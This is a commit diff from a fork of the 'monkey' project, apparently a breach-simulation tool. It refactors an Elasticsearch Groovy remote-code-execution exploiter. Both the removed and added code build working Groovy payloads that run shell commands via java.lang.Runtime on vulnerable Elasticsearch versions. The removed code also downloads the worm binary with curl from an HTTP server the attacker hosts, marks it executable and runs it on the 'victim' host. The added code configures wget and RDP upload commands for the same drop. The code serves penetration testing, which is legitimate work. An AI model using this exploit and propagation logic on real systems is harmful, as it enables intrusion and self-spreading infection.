forked from p34709852/monkey
Merge pull request #181 from VakarisZ/elastic_with_framework
Elastic with framework
This commit is contained in:
commit
61592776e9
|
@ -6,225 +6,52 @@
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
from exploit.web_rce import WebRCE
|
||||||
|
from model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
|
||||||
|
from network.elasticfinger import ES_PORT, ES_SERVICE
|
||||||
|
|
||||||
from exploit import HostExploiter
|
import re
|
||||||
from model import DROPPER_ARG
|
|
||||||
from network.elasticfinger import ES_SERVICE, ES_PORT
|
|
||||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
|
||||||
|
|
||||||
__author__ = 'danielg'
|
__author__ = 'danielg, VakarisZ'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class ElasticGroovyExploiter(HostExploiter):
|
class ElasticGroovyExploiter(WebRCE):
|
||||||
# attack URLs
|
# attack URLs
|
||||||
BASE_URL = 'http://%s:%s/_search?pretty'
|
|
||||||
MONKEY_RESULT_FIELD = "monkey_result"
|
MONKEY_RESULT_FIELD = "monkey_result"
|
||||||
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
||||||
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
|
|
||||||
JAVA_GET_TMP_DIR = \
|
|
||||||
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
|
||||||
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
|
|
||||||
JAVA_CMD = GENERIC_QUERY \
|
JAVA_CMD = GENERIC_QUERY \
|
||||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||||
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
|
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
|
||||||
|
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(ElasticGroovyExploiter, self).__init__(host)
|
super(ElasticGroovyExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
|
||||||
|
|
||||||
def is_os_supported(self):
|
def get_exploit_config(self):
|
||||||
"""
|
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
||||||
Checks if the host is vulnerable.
|
exploit_config['dropper'] = True
|
||||||
Either using version string or by trying to attack
|
exploit_config['url_extensions'] = ['_search?pretty']
|
||||||
:return:
|
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
|
||||||
"""
|
return exploit_config
|
||||||
if not super(ElasticGroovyExploiter, self).is_os_supported():
|
|
||||||
return False
|
|
||||||
|
|
||||||
if ES_SERVICE not in self.host.services:
|
def get_open_service_ports(self, port_list, names):
|
||||||
LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
|
# We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
|
||||||
return False
|
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
|
||||||
major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
|
if ES_SERVICE in self.host.services:
|
||||||
major = int(major)
|
valid_ports.append([ES_PORT, False])
|
||||||
minor = int(minor)
|
return valid_ports
|
||||||
build = int(build)
|
|
||||||
if major > 1:
|
|
||||||
return False
|
|
||||||
if major == 1 and minor > 4:
|
|
||||||
return False
|
|
||||||
if major == 1 and minor == 4 and build > 2:
|
|
||||||
return False
|
|
||||||
return self.is_vulnerable()
|
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit(self, url, command):
|
||||||
real_host_os = self.get_host_os()
|
command = re.sub(r"\\", r"\\\\\\\\", command)
|
||||||
self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
|
|
||||||
if 'linux' in self.host.os['type']:
|
|
||||||
return self.exploit_host_linux()
|
|
||||||
else:
|
|
||||||
return self.exploit_host_windows()
|
|
||||||
|
|
||||||
def exploit_host_windows(self):
|
|
||||||
"""
|
|
||||||
TODO
|
|
||||||
Will exploit windows similar to smbexec
|
|
||||||
:return:
|
|
||||||
"""
|
|
||||||
return False
|
|
||||||
|
|
||||||
def exploit_host_linux(self):
|
|
||||||
"""
|
|
||||||
Exploits linux using similar flow to sshexec and shellshock.
|
|
||||||
Meaning run remote commands to copy files over HTTP
|
|
||||||
:return:
|
|
||||||
"""
|
|
||||||
uname_machine = str(self.get_linux_arch())
|
|
||||||
if len(uname_machine) != 0:
|
|
||||||
self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
|
|
||||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
|
||||||
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
|
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
||||||
return True # return already infected
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
if not src_path:
|
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
|
|
||||||
return False
|
|
||||||
|
|
||||||
self.set_file_executable_linux(dropper_target_path_linux)
|
|
||||||
self.run_monkey_linux(dropper_target_path_linux)
|
|
||||||
|
|
||||||
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
def run_monkey_linux(self, dropper_target_path_linux):
|
|
||||||
"""
|
|
||||||
Runs the monkey
|
|
||||||
"""
|
|
||||||
|
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
|
|
||||||
cmdline += ' & '
|
|
||||||
self.run_shell_command(cmdline)
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
|
||||||
self._config.dropper_target_path_linux, self.host, cmdline)
|
|
||||||
if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
|
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
|
||||||
|
|
||||||
def download_file_in_linux(self, src_path, target_path):
|
|
||||||
"""
|
|
||||||
Downloads a file in target machine using curl to the given target path
|
|
||||||
:param src_path: File path relative to the monkey
|
|
||||||
:param target_path: Target path in linux victim
|
|
||||||
:return: T/F
|
|
||||||
"""
|
|
||||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
|
||||||
if not http_path:
|
|
||||||
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
|
|
||||||
return False
|
|
||||||
download_command = '/usr/bin/curl %s -o %s' % (
|
|
||||||
http_path, target_path)
|
|
||||||
self.run_shell_command(download_command)
|
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
if (http_thread.downloads != 1) or (
|
|
||||||
'ELF' not in
|
|
||||||
self.check_if_remote_file_exists_linux(target_path)):
|
|
||||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
|
||||||
return False
|
|
||||||
return True
|
|
||||||
|
|
||||||
def set_file_executable_linux(self, file_path):
|
|
||||||
"""
|
|
||||||
Marks the given file as executable using chmod
|
|
||||||
:return: Nothing
|
|
||||||
"""
|
|
||||||
chmod = '/bin/chmod +x %s' % file_path
|
|
||||||
self.run_shell_command(chmod)
|
|
||||||
LOG.info("Marked file %s on host %s as executable", file_path, self.host)
|
|
||||||
|
|
||||||
def check_if_remote_file_exists_linux(self, file_path):
|
|
||||||
"""
|
|
||||||
:return:
|
|
||||||
"""
|
|
||||||
cmdline = '/usr/bin/head -c 4 %s' % file_path
|
|
||||||
return self.run_shell_command(cmdline)
|
|
||||||
|
|
||||||
def run_shell_command(self, command):
|
|
||||||
"""
|
|
||||||
Runs a single shell command and returns the result.
|
|
||||||
"""
|
|
||||||
payload = self.JAVA_CMD % command
|
payload = self.JAVA_CMD % command
|
||||||
result = self.get_command_result(payload)
|
response = requests.get(url, data=payload)
|
||||||
LOG.info("Ran the command %s on host %s", command, self.host)
|
|
||||||
return result
|
|
||||||
|
|
||||||
def get_linux_arch(self):
|
|
||||||
"""
|
|
||||||
Returns host as per uname -m
|
|
||||||
"""
|
|
||||||
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
|
|
||||||
|
|
||||||
def get_host_tempdir(self):
|
|
||||||
"""
|
|
||||||
Returns where to write our file given our permissions
|
|
||||||
:return: Temp directory path in target host
|
|
||||||
"""
|
|
||||||
return self.get_command_result(self.JAVA_GET_TMP_DIR)
|
|
||||||
|
|
||||||
def get_host_os(self):
|
|
||||||
"""
|
|
||||||
:return: target OS
|
|
||||||
"""
|
|
||||||
return self.get_command_result(self.JAVA_GET_OS)
|
|
||||||
|
|
||||||
def is_vulnerable(self):
|
|
||||||
"""
|
|
||||||
Checks if a given elasticsearch host is vulnerable to the groovy attack
|
|
||||||
:return: True/False
|
|
||||||
"""
|
|
||||||
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
|
|
||||||
return 'java.lang.Runtime' in result_text
|
|
||||||
|
|
||||||
def get_command_result(self, payload):
|
|
||||||
"""
|
|
||||||
Gets the result of an attack payload with a single return value.
|
|
||||||
:param payload: Payload that fits the GENERIC_QUERY template.
|
|
||||||
"""
|
|
||||||
result = self.attack_query(payload)
|
|
||||||
if not result: # not vulnerable
|
|
||||||
return ""
|
|
||||||
return result[0]
|
|
||||||
|
|
||||||
def attack_query(self, payload):
|
|
||||||
"""
|
|
||||||
Wraps the requests query and the JSON parsing.
|
|
||||||
Just reduce opportunity for bugs
|
|
||||||
:return: List of data fields or None
|
|
||||||
"""
|
|
||||||
response = requests.get(self.attack_url(), data=payload)
|
|
||||||
result = self.get_results(response)
|
result = self.get_results(response)
|
||||||
return result
|
if not result:
|
||||||
|
return False
|
||||||
def attack_url(self):
|
return result[0]
|
||||||
"""
|
|
||||||
Composes the URL to attack per host IP and port.
|
|
||||||
:return: Elasticsearch vulnerable URL
|
|
||||||
"""
|
|
||||||
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
|
|
||||||
|
|
||||||
def get_results(self, response):
|
def get_results(self, response):
|
||||||
"""
|
"""
|
||||||
|
|
Loading…
Reference in New Issue